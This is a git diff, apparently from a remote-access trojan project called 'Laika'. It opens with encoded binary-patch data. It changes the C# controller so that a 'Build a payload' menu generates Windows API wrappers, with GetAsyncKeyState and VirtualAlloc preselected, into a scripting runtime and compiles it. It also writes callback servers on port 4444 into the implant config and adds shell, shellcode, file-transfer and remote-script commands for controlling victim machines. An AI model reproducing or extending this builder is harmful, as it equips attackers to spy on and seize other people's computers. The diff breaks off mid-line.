z;{sW<227awu_StWWbflf*LKCm4N5Dh$`tqb?&O<1C5_^@VibIB`k~pLp}EmRYdg*Dtn@ zOAUgc-TnYzj~;AW-Tp(DykrN_kb#HFWXm3b47ykVP6)x&5q|jj%5EHBjf#C$0KI}v z()@RM5$9I|kHK8_g2%KGooaNoOPrlssTk_{*nGkc7b{M6kDB9;fUckVl5cg3f0l|7 zb_LNjf_g6k(04?MHNr0LyoJn>mEO_v%gf^ph#2M&dMWV*M@MQO!+!-cR?IQpSD8+#bYs{NH+H~M2Xiw4s*G&A(h+@pmEae}cUq-7LZ0?es{&3P%#@vAFc5ZjYOk{}A@=d@ch_5Yw??%XsrFIwm zUE2Q79essox=)p)6}RLpb*|b=s3h#GC31E}C+}6=4oBm=MGUE^cJ;=!O2RgCB@37c z9XKEBCGcj9Sa2Ljwuwh3v!X=S(`2_PJ`kQ>E^u((qi%OEa-(0PaCk`>d*TH368<*= z_`JVMQATY0PL;n4t=RbCKpzMQ$b}56sM_}g@F@w1sDf%T6!wd1=&;}jhgPIcqbh%( z2@Gv2dzmESLqv2ha)-o0$vYwbq5r}OSrU0ubRjEI>NGok}E%9T$@ z%fR@sq9F%`yf=K`4WrHRs8;eVhAa@vh8Ty)4~!dZm|}}p`HwkHWji8d=&CS%W!sgV zmlAGdh0jD(IF(5{R+4E0bX1vPh3|U@d-H~*PaPGg_zHcE%-Fy#-s)-E{kv?0mLc;2 z?M8o2s3?MpfYEHl7ujEL^UIgc#|jEKmU6|0f7qH`zs;ifZ+Yr2*AP+rdmWb$Ji>K z&PonoRBbPHDA>lwgjYu;BiJUMhlf*&Ls5TX#_#Y%-&%vCsI6|}@7b?h(0p3@Pyf(> zNiZO)zRRoPT&-UowYxF>ojVy4*PTSyRf%3byucV;jjG=1S4sl6a>K}HAhVMRLLLWh zmEOgbHN@O4PeXG9u}+`82uWRWzTC8>7WVnJihRP>Z+{HOb}pM7-7A7?ihbG*$pqln zuWj-sgmiAAWseg8$c(LfoOKY_3ZM9cJEk)`@5pvH8hKgDDs|j}ZrX_e@$W(6&jJLC z5YEDq!BhVWgn!>GxjypHUpjv$v=0)d`c zh*6Gr2Xp_i+1@QpCdP8f*t?vh$-}Z-)M?*=9KB)>{U(gfL=4-6J0MGF_b^2N{~|*O zII)_rBm}m98M=IgoM|nWkiW)B|?e~5nf}5 z2sNHz;+mRD0rCI+{dd6A)jB?bz#eiyZR>p`n6CHCX-3Xpy*Ptc>t3Jn9W4Gua(=I7 z;>O;SExM_Pw1`1d&p(^7;3w&^aPN z@R$K9BLEmsJ3wveuP#IL)d;Y6Uo=C9r+ZD^FjSBuAi4p6$$*}!-K*L9KF+;Rs_QBO z9TW@r(*45F@m|cIVk3x(1ik(6LHU23^(|11eeOTbT8;?|lIin+V*OCT8Ol_^$N^t@ zYv$xwi^9T8b3!+(dLqkVB16jhALFi_8VTx{+MCq!^>RdK$EnOZc&V6c7tOY@S{NkF z`%WwA4v4yoESesBv?mETh;_)2xJKV{(UvvAB2a(eeDAqAW9YT=$MTil)(j#wrVoxK z$X~*WpqMZ!Y3)Khw_p3(d{Bo^OvTaM_~JJuvA(G8jVA3S0k6S28yWOQOy~L`+MO}B z-p8`U!RXeADT3#`o!G|z1eQ$7S=t?%b+p7(V%1Rp;X#e zVl@3j7xm~%VyfFn!h-uzDCoj@q$E6K>)hD5E}YQ$e9wq2XWc5)ORoCvWNhWvZ}ck5 zjfKu(&4kMf&L7;wST7ZPGhAetU~3=o`OvmiDc3DcQcOx3v0i8uT=mUTFS34AW_1Y^bD75xD zorQ=^Ht0-j_)K}DK|h?l&I~yWClWs~QDSu1CDmjIpON+ftDN z237i{-a7)-CbvvCy?KVvC7MqR-;g`CRF-YY`2JwRHWEjDt`J%LS+dtrS~StNx}53~ zaexc`3#1OiOGhjxN_@*sJ-(dyV509F68MUz$8pWZ8+HvklPT<)6vRU}FKFKM5UXz$ zG7NwDpjC%cM>}+sj;g&qRhjc)8J8AWQnDM4YX8C8@^6Fd`RD%C0urs~vl-DCT_JZ~ zZ*J{~3Mix^2JjqyuRysy46D^KFQlUyDD?`f7VkFPdNF9sfntn1jw^sIV*wxziw(4O z1?cf`?jsqXBf+DlEzsE|TKB9V0t52%;`qXmWy6qFh$iiC0U(c$bOhv%o;bycztj9) z_MFB)y;|E$cc|zBdmv_TJ-QV{Ur|ZXRzaC z&xSKaXCKAS5<#xhf(|fkNncS?1WBa?$Zlw6%IwM&9_F|oV{|mmOG{nag;cfT$DM~f;4c!E}<2PbturK z+LA0n$N^)?1xewTM-S?|I_ZG6^A)OhP*bY6Dw+__JDt=Bv<+EzYX0b6!KmAcr^=(S zO1jfMyOm|+aRN;<47}AXg)oGW>_LK|^GiPVxs9CD zPx(m}!X4{=9e&hB8h=`~qZ4M2DL1+eO(bIBE8quBVncfmq74=m6^IqZ2L=<|4XR}RfXLhzH`U3B@>uf)`xF3(1;eqpa> z)u%QzeZtF^_nQnBT8vzb+`g<|sjpbtv6N)tL6WD2XsWxrokBgWI7%DscwKT>n9(-2 zWUtxM*S-AQR4eb{he4<$Ujc_Nw;nTGn_gkq+wkp$-r)7BOfBse^znqvTf%9UEtiqx!7ISl)ZI1D!D-S^{b4LTXhPxM~u~9 z4|+ovHhcowR(C>2NOM^~w@vOfE#33%5gX5`(xk_Iq^jRT?RD%9#5v=Nj-Jhi+XQn) zMC$P{dfHR^vWj0Xb06{hE^IUic9xr=%DVX6 zIbK%e7@8u|uqsvH=~XgnELXf1*JYvpKn?3F?AD*SnyJYnQ?NC&D&NWED$^cFN!8tG zt~xhXB`~{O+9x9JzTD0=-Zu6qW4b(>N90=z&fBu4_syYbrMuk|ku{jy4qt)p#(ZEm zKcnVA-6=NBYVN#OVRA2jz8U*)7u9WBn1r*|OZxDuN#Q4sTvvH#`c(}_FeiQ_0zf}=bZO7tlx-P^TsZ3(^(q6 ze^2d|!nOWwiEPi@;WVw`rm6doYX6f2nG{$j1UdaFPKaUfm#{s9Btx^_K-qqbNgn?6 zCPNTnO<>p{iR}O^RS}uj)8TplSJaS8CGn#AR1_idb)IGQuH(udVe}jV=815&+p@Ht z@m?&@b&@a%JKhw4x$6aVoQ_JuImEXd#7ksX=S59H{8Ma##6mzvWK6BRar&>!9|0ko zb0$@PyiSaNy;DK=$b9G4sVJ>fu>(lj7m7c7G126IJPoQ90Ky|vtwuWCWimv5PNf)$2A^EwQ7?o9u9y1h)y=T#FG@exYH zNl^Iv)q#$lrpEPDx!eykIW)^9QRUqgVW|eOQ-2ks$%BU08mHEJzP^Aqv_g{OH;9in z4~0xu@bYRD^*PX3KnT7k9J`8y8S{sSWkuO#QQH<=t3_F5rt zw=3B{_Y(41wwmlYeA;}FuE^@1Ob4>Cr;f0_SH~O0x|HxfA)!{jm}Y-9KHN zSBFv#^DK2MiO(PC`+6y5Z;kuyEqO_fmUPHlDG^U~;cO0vli@Gzf3&CSUeZRg4K9Tk zU)Ak8vt4bYUU=r_Yd5zwy)UmU-oM9W%PyMs>2iK5Q+Akv!6WX)=`}jqT(9;qAT;=0KNW;`Ofn3%LTfNuB;S_AFY)#j%-Hc zgse3dFXr2zu3YJy0axY32f09qLXtZwWqQl*B6*-wP=ElRvx+U5@cj-v@TB@ zgdMBJ7d7~i*T-wGr1Z$oB^3F^)_4e-e@*FI7_JHSiD6WXT*=PyygJbP3uk*!tUkaulDyV&Ros=I2Q#-T!-Z3{vFljNdtd4oDfi*j>UgU9

hTga8+yfbUFa}T*5LN-03LE>USN6b}aa}yH@MU0l| z?x*Jiy&J7tBcEfo?%-r)kG|6|LR1&g&0g990s=Q+^_V;jc1jBuD`};4 zPwC#=Td}*N#v;MeSbc8kN}_b}>|>LVKd>*VOokKic?u{M#RS;u;}^(|V*2M;~24itLz*pnDv z>{CrzS;v{exW2i<=#fKHY;RU;&b`?DL)!V1i;M-z3};K_<>z;O*U6J=uy!zIr=&7c zB-cdbwbMQw|KuYKPmwosxi1IfgPcBj{aK^;^@WWDO1djwgA6@6-q*rB2p^dNV z$jFGL&-$0dUxMrO4i_Uf`p>*SA_XSrhxo~FxA=ZprkI%9+A5@pd9jX<)9MR_dLD__ Z|6oTuk~3q#k0YPBb6W{rDrFM*{{Zu1RYU*) literal 0 HcmV?d00001 diff --git a/Server/App.config b/Server/App.config index 193aecc..91126fc 100644 --- a/Server/App.config +++ b/Server/App.config @@ -1,6 +1,14 @@ - + + + + + + + + + \ No newline at end of file diff --git a/Server/BuildMenu.Designer.cs b/Server/BuildMenu.Designer.cs index cc23ed1..8ad944c 100644 --- a/Server/BuildMenu.Designer.cs +++ b/Server/BuildMenu.Designer.cs @@ -53,10 +53,20 @@ this.button3 = new System.Windows.Forms.Button(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.label9 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.Selected_apis = new System.Windows.Forms.ListBox(); + this.searchBox = new System.Windows.Forms.TextBox(); + this.searchResultsListBox = new System.Windows.Forms.ListBox(); + this.label13 = new System.Windows.Forms.Label(); + this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.contextMenuStrip2.SuspendLayout(); this.SuspendLayout(); // // Hosts @@ -241,7 +251,7 @@ // button2 // this.button2.Enabled = false; - this.button2.Location = new System.Drawing.Point(81, 415); + this.button2.Location = new System.Drawing.Point(257, 415); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(213, 38); this.button2.TabIndex = 18; @@ -293,11 +303,94 @@ this.label9.Size = new System.Drawing.Size(325, 2); this.label9.TabIndex = 23; // + // label10 + // + this.label10.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label10.Location = new System.Drawing.Point(363, 15); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(2, 394); + this.label10.TabIndex = 24; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(371, 9); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(64, 13); + this.label11.TabIndex = 25; + this.label11.Text = "pasm config"; + // + // label12 + // + this.label12.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label12.Location = new System.Drawing.Point(437, 15); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(254, 2); + this.label12.TabIndex = 26; + // + // Selected_apis + // + this.Selected_apis.FormattingEnabled = true; + this.Selected_apis.Location = new System.Drawing.Point(374, 41); + this.Selected_apis.Name = "Selected_apis"; + this.Selected_apis.Size = new System.Drawing.Size(173, 368); + this.Selected_apis.TabIndex = 27; + this.Selected_apis.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Selected_apis_MouseDown); + // + // searchBox + // + this.searchBox.Location = new System.Drawing.Point(553, 28); + this.searchBox.Name = "searchBox"; + this.searchBox.Size = new System.Drawing.Size(138, 20); + this.searchBox.TabIndex = 28; + this.searchBox.Text = "Search for an API"; + this.searchBox.TextChanged += new System.EventHandler(this.SearchBox_TextChanged); + // + // searchResultsListBox + // + this.searchResultsListBox.FormattingEnabled = true; + this.searchResultsListBox.Location = new System.Drawing.Point(553, 54); + this.searchResultsListBox.Name = "searchResultsListBox"; + this.searchResultsListBox.Size = new System.Drawing.Size(138, 355); + this.searchResultsListBox.TabIndex = 29; + this.searchResultsListBox.SelectedIndexChanged += new System.EventHandler(this.SearchResultsListBox_SelectedIndexChanged); + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(371, 26); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(127, 13); + this.label13.TabIndex = 30; + this.label13.Text = "Selected Windows APIs :"; + // + // contextMenuStrip2 + // + this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripMenuItem1}); + this.contextMenuStrip2.Name = "contextMenuStrip1"; + this.contextMenuStrip2.Size = new System.Drawing.Size(108, 26); + // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.Image = global::Server.Properties.Resources.delete; + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(107, 22); + this.toolStripMenuItem1.Text = "Delete"; + this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click); + // // BuildMenu // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(355, 465); + this.ClientSize = new System.Drawing.Size(703, 465); + this.Controls.Add(this.label13); + this.Controls.Add(this.searchResultsListBox); + this.Controls.Add(this.searchBox); + this.Controls.Add(this.Selected_apis); + this.Controls.Add(this.label12); + this.Controls.Add(this.label11); + this.Controls.Add(this.label10); this.Controls.Add(this.label9); this.Controls.Add(this.pictureBox1); this.Controls.Add(this.button3); @@ -320,7 +413,8 @@ this.Controls.Add(this.label1); this.Controls.Add(this.textBox1); this.Controls.Add(this.Hosts); - this.MinimumSize = new System.Drawing.Size(371, 430); + this.MaximumSize = new System.Drawing.Size(719, 504); + this.MinimumSize = new System.Drawing.Size(719, 504); this.Name = "BuildMenu"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.Text = "Build a payload"; @@ -329,6 +423,7 @@ ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.contextMenuStrip2.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -360,5 +455,14 @@ private System.Windows.Forms.Button button3; private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.ListBox Selected_apis; + private System.Windows.Forms.TextBox searchBox; + private System.Windows.Forms.ListBox searchResultsListBox; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip2; + private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; } } \ No newline at end of file diff --git a/Server/BuildMenu.cs b/Server/BuildMenu.cs index afeb914..ba91d79 100644 --- a/Server/BuildMenu.cs +++ b/Server/BuildMenu.cs @@ -8,14 +8,97 @@ using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; +using System.Text.Json; namespace Server -{ +{ public partial class BuildMenu : Form { + private List apis; + public BuildMenu() { InitializeComponent(); + LoadApis(); + SetPlaceholder(); + searchBox.GotFocus += searchBox_GotFocus; + searchBox.LostFocus += searchBox_LostFocus; + } + + private void SetPlaceholder() + { + searchBox.Text = "Search for an API"; + searchBox.ForeColor = Color.Gray; + } + + private void searchBox_GotFocus(object sender, EventArgs e) + { + if (searchBox.Text == "Search for an API") + { + searchBox.Text = ""; + searchBox.ForeColor = Color.Black; + } + } + + private void searchBox_LostFocus(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(searchBox.Text)) + { + SetPlaceholder(); + } + } + + private void LoadApis() + { + string filePath = "../data/win_apis.json"; + if (File.Exists(filePath)) + { + string jsonContent = File.ReadAllText(filePath); + apis = JsonSerializer.Deserialize>(jsonContent); + + int maxItems = apis.Count; + for (int i = 0; i < maxItems; i++) + { + searchResultsListBox.Items.Add(apis[i].function_name); + } + + Selected_apis.Items.Add("VirtualAlloc"); + Selected_apis.Items.Add("VirtualFree"); + Selected_apis.Items.Add("GetAsyncKeyState"); + } + else + { + MessageBox.Show("API file not found!"); + } + } + + private void SearchBox_TextChanged(object sender, EventArgs e) + { + string searchText = searchBox.Text.ToLower(); + if (searchText == "search for an api" || searchText == "") + return; + + searchResultsListBox.Items.Clear(); + + var filteredApis = apis.Where(api => api.function_name.ToLower().Contains(searchText)).ToList(); + + foreach (var api in filteredApis) + { + searchResultsListBox.Items.Add(api.function_name); + } + } + + private void SearchResultsListBox_SelectedIndexChanged(object sender, EventArgs e) + { + if (searchResultsListBox.SelectedItem != null) + { + string selectedFunctionName = searchResultsListBox.SelectedItem.ToString(); + + if (!Selected_apis.Items.Contains(selectedFunctionName)) + { + Selected_apis.Items.Add(selectedFunctionName); + } + } } private void BuildMenu_Load(object sender, EventArgs e) @@ -53,12 +136,183 @@ namespace Server button2.Enabled = false; } + private void AppendApisToAPIC() + { + string filePath = "../pasm/src/api.c"; + string marker = "// generated APIs here"; + + string fileContent = File.ReadAllText(filePath); + + int markerPosition = fileContent.IndexOf(marker); + if (markerPosition == -1) + { + MessageBox.Show($"Marker '{marker}' not found in the file."); + return; + } + + string newContent = fileContent.Substring(0, markerPosition + marker.Length) + "\n"; + using (StreamWriter sw = new StreamWriter(filePath, false)) // Overwrite the file + { + sw.Write(newContent); + + foreach (var selectedItem in Selected_apis.Items) + { + string functionName = selectedItem.ToString(); + var api = apis.FirstOrDefault(a => a.function_name == functionName); + if (api == null) continue; + + bool returnsVoid = api.full_prototype.StartsWith("void"); + + StringBuilder functionBody = new StringBuilder(); + StringBuilder functionCallArgs = new StringBuilder(); + StringBuilder typedefArgs = new StringBuilder(); + + for(int j = 0; j < api.arguments.Count; j++) + { + string argType = api.arguments[j]; + + typedefArgs.Append(argType); + + if ((j + 1) < api.arguments.Count) + { + typedefArgs.Append(", "); + } + } + + for (int i = 0; i < api.arguments.Count; i++) + { + string argName = $"arg{i}"; + string argType = api.arguments[i]; + + functionBody.AppendLine($" long long {argName} = state->STACK[state->STACK_IDX--];"); + + if (functionCallArgs.Length > 0) + { + functionCallArgs.Append(", "); + } + + functionCallArgs.Append($"({argType}){argName}"); + } + + string functionCall = returnsVoid + ? $"{functionName}({functionCallArgs.ToString()});" + : $"state->registers->eax = (long long)p{functionName}({functionCallArgs.ToString()});"; + + string functionCode = $@" +#ifdef _WIN32 + typedef {api.full_prototype.Split(' ')[0]}(WINAPI *f{api.function_name})({typedefArgs.ToString()}); +#endif +void api_{functionName}(void) {{ +#ifdef _WIN32 + f{api.function_name} p{api.function_name} = GetApi(L""{api.dll_name}"", ""{api.function_name}""); +{functionBody.ToString()} {functionCall} +#else + state->STACK_IDX -= {api.arguments.Count}; + {(returnsVoid ? string.Empty : "state->registers->eax = 1;")} +#endif +}} +"; + sw.WriteLine(functionCode); + } + } + } + + private void UpdateApiHeaderFile() + { + string filePath = "../pasm/src/api.h"; + string markerStart = "// generated APIs here"; + string markerEnd = "//end"; + + string fileContent = File.ReadAllText(filePath); + + int startMarkerPosition = fileContent.IndexOf(markerStart); + int endMarkerPosition = fileContent.IndexOf(markerEnd, startMarkerPosition); + + if (startMarkerPosition == -1 || endMarkerPosition == -1) + { + MessageBox.Show($"Markers '{markerStart}' or '{markerEnd}' not found in the file."); + return; + } + + string contentBeforeMarkers = fileContent.Substring(0, startMarkerPosition + markerStart.Length) + "\n"; + string contentAfterMarkers = fileContent.Substring(endMarkerPosition); + + StringBuilder prototypes = new StringBuilder(); + StringBuilder apiMapEntries = new StringBuilder(); + + foreach (var selectedItem in Selected_apis.Items) + { + string functionName = selectedItem.ToString(); + prototypes.AppendLine($"void api_{functionName}();"); + + apiMapEntries.AppendLine($" {{.command = \"{functionName}\", .fptr = api_{functionName}}},"); + } + + string newContent = contentBeforeMarkers + prototypes.ToString() + "\n" + contentAfterMarkers; + + int apiMapStartMarkerPosition = newContent.IndexOf(markerStart, startMarkerPosition + markerStart.Length); + int apiMapEndMarkerPosition = newContent.IndexOf(markerEnd, apiMapStartMarkerPosition); + + string newApiMapContent = newContent.Substring(0, apiMapStartMarkerPosition + markerStart.Length) + "\n" + + apiMapEntries.ToString() + "\n" + + newContent.Substring(apiMapEndMarkerPosition); + + File.WriteAllText(filePath, newApiMapContent); + + } + private void button2_Click(object sender, EventArgs e) { string output = ""; - button2.Text = "Building..."; + + button2.Text = "Writing APIs to pasm..."; button2.Update(); + AppendApisToAPIC(); + UpdateApiHeaderFile(); + + button2.Text = "Building pasm..."; + button2.Update(); + + System.Diagnostics.Process process = new System.Diagnostics.Process(); + System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); + startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; + startInfo.FileName = "cmd.exe"; + startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath"; + startInfo.RedirectStandardOutput = true; + startInfo.UseShellExecute = false; + startInfo.CreateNoWindow = true; + process.StartInfo = startInfo; + process.Start(); + string vs_path = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + + vs_path = vs_path.Replace("\r\n", ""); + string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"; + + startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../pasm/msvc/pasm.vcxproj /p:Configuration=Release;Platform=x86 /p:LaikaBuild=true"; + startInfo.RedirectStandardError = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); + output += process.StandardError.ReadToEnd(); + + process.WaitForExit(); + + button2.Text = "Building Laika..."; + button2.Update(); + + /* + startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86"; + startInfo.RedirectStandardError = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); + output += process.StandardError.ReadToEnd(); + + process.WaitForExit(); + */ + string filePath = @"..\Laika\config.h"; string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count; newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n"; @@ -72,24 +326,8 @@ namespace Server { newContent += "\t4444,\n"; } - newContent += "};"; - + newContent += "};"; File.WriteAllText(filePath, newContent); - System.Diagnostics.Process process = new System.Diagnostics.Process(); - System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); - startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; - startInfo.FileName = "cmd.exe"; - startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath"; - startInfo.RedirectStandardOutput = true; - startInfo.UseShellExecute = false; - startInfo.CreateNoWindow = true; - process.StartInfo = startInfo; - process.Start(); - string vs_path = process.StandardOutput.ReadToEnd(); - process.WaitForExit(); - - vs_path = vs_path.Replace("\r\n", ""); - string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"; startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86"; startInfo.RedirectStandardError = true; @@ -175,5 +413,33 @@ namespace Server label6.Enabled = checkBox4.Checked; numericUpDown2.Enabled = checkBox4.Checked; } + + private void toolStripMenuItem1_Click(object sender, EventArgs e) + { + Selected_apis.Items.RemoveAt(Selected_apis.SelectedIndex); + if (Selected_apis.Items.Count == 0) + button2.Enabled = false; + } + + private void Selected_apis_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + int index = Selected_apis.IndexFromPoint(e.Location); + if (index < 0) + return; + + Selected_apis.SelectedIndex = index; + contextMenuStrip2.Show(Cursor.Position); + } + } + } + + public class ApiInfo + { + public string function_name { get; set; } + public List arguments { get; set; } + public string dll_name { get; set; } + public string full_prototype { get; set; } } } diff --git a/Server/BuildMenu.resx b/Server/BuildMenu.resx index ad53752..8baf68f 100644 --- a/Server/BuildMenu.resx +++ b/Server/BuildMenu.resx @@ -120,4 +120,7 @@ 17, 17 + + 172, 17 + \ No newline at end of file diff --git a/Server/FileExplorer.cs b/Server/FileExplorer.cs index 2d9dd6c..c42ad3b 100644 --- a/Server/FileExplorer.cs +++ b/Server/FileExplorer.cs @@ -23,7 +23,7 @@ namespace Server } public static int ITEM_ID = 0; - public static int CLIENT_ID = 0; + public static int CLIENT_ID = -1; public static string PATH = ""; public static bool OPENED = false; @@ -83,8 +83,6 @@ namespace Server dataGridView2.Rows[idx].Tag += "/f"; } } - - c.Client.Blocking = false; } catch { CLIENT_ID = -1; @@ -114,7 +112,6 @@ namespace Server int bytesRead; bytesRead = stream.Read(buffer, 0, buffer.Length); receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); - c.Client.Blocking = false; } catch { CLIENT_ID = -1; @@ -194,8 +191,6 @@ namespace Server stream.Write(Message, 0, Message.Length); Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file)); stream.Write(Message, 0, Message.Length); - - c.Client.Blocking = false; } catch { @@ -259,6 +254,7 @@ namespace Server private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e) { + CLIENT_ID = -1; OPENED = false; } @@ -288,8 +284,6 @@ namespace Server stream.Write(Message, 0, Message.Length); Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file)); stream.Write(Message, 0, Message.Length); - - c.Client.Blocking = false; } catch { @@ -328,8 +322,6 @@ namespace Server stream.Write(Message, 0, Message.Length); byte[] fileContent = File.ReadAllBytes(filePath); stream.Write(fileContent, 0, fileContent.Length); - - c.Client.Blocking = false; } catch { @@ -455,8 +447,6 @@ namespace Server { DownloadFile(PATH + file, stream, c); } - - c.Client.Blocking = false; } catch { diff --git a/Server/Menu.Designer.cs b/Server/Menu.Designer.cs index b87dd0b..79cc819 100644 --- a/Server/Menu.Designer.cs +++ b/Server/Menu.Designer.cs @@ -29,9 +29,9 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); this.menuStrip1 = new System.Windows.Forms.MenuStrip(); this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -41,9 +41,13 @@ this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.label1 = new System.Windows.Forms.Label(); + this.pasmToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.editorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.executePasmScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.menuStrip1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); this.contextMenuStrip1.SuspendLayout(); @@ -54,7 +58,8 @@ this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu; this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripMenuItem1, - this.payloadToolStripMenuItem}); + this.payloadToolStripMenuItem, + this.pasmToolStripMenuItem}); this.menuStrip1.Location = new System.Drawing.Point(0, 0); this.menuStrip1.Name = "menuStrip1"; this.menuStrip1.Size = new System.Drawing.Size(591, 24); @@ -102,27 +107,27 @@ | System.Windows.Forms.AnchorStyles.Right))); this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText; this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; - dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.SelectionForeColor = 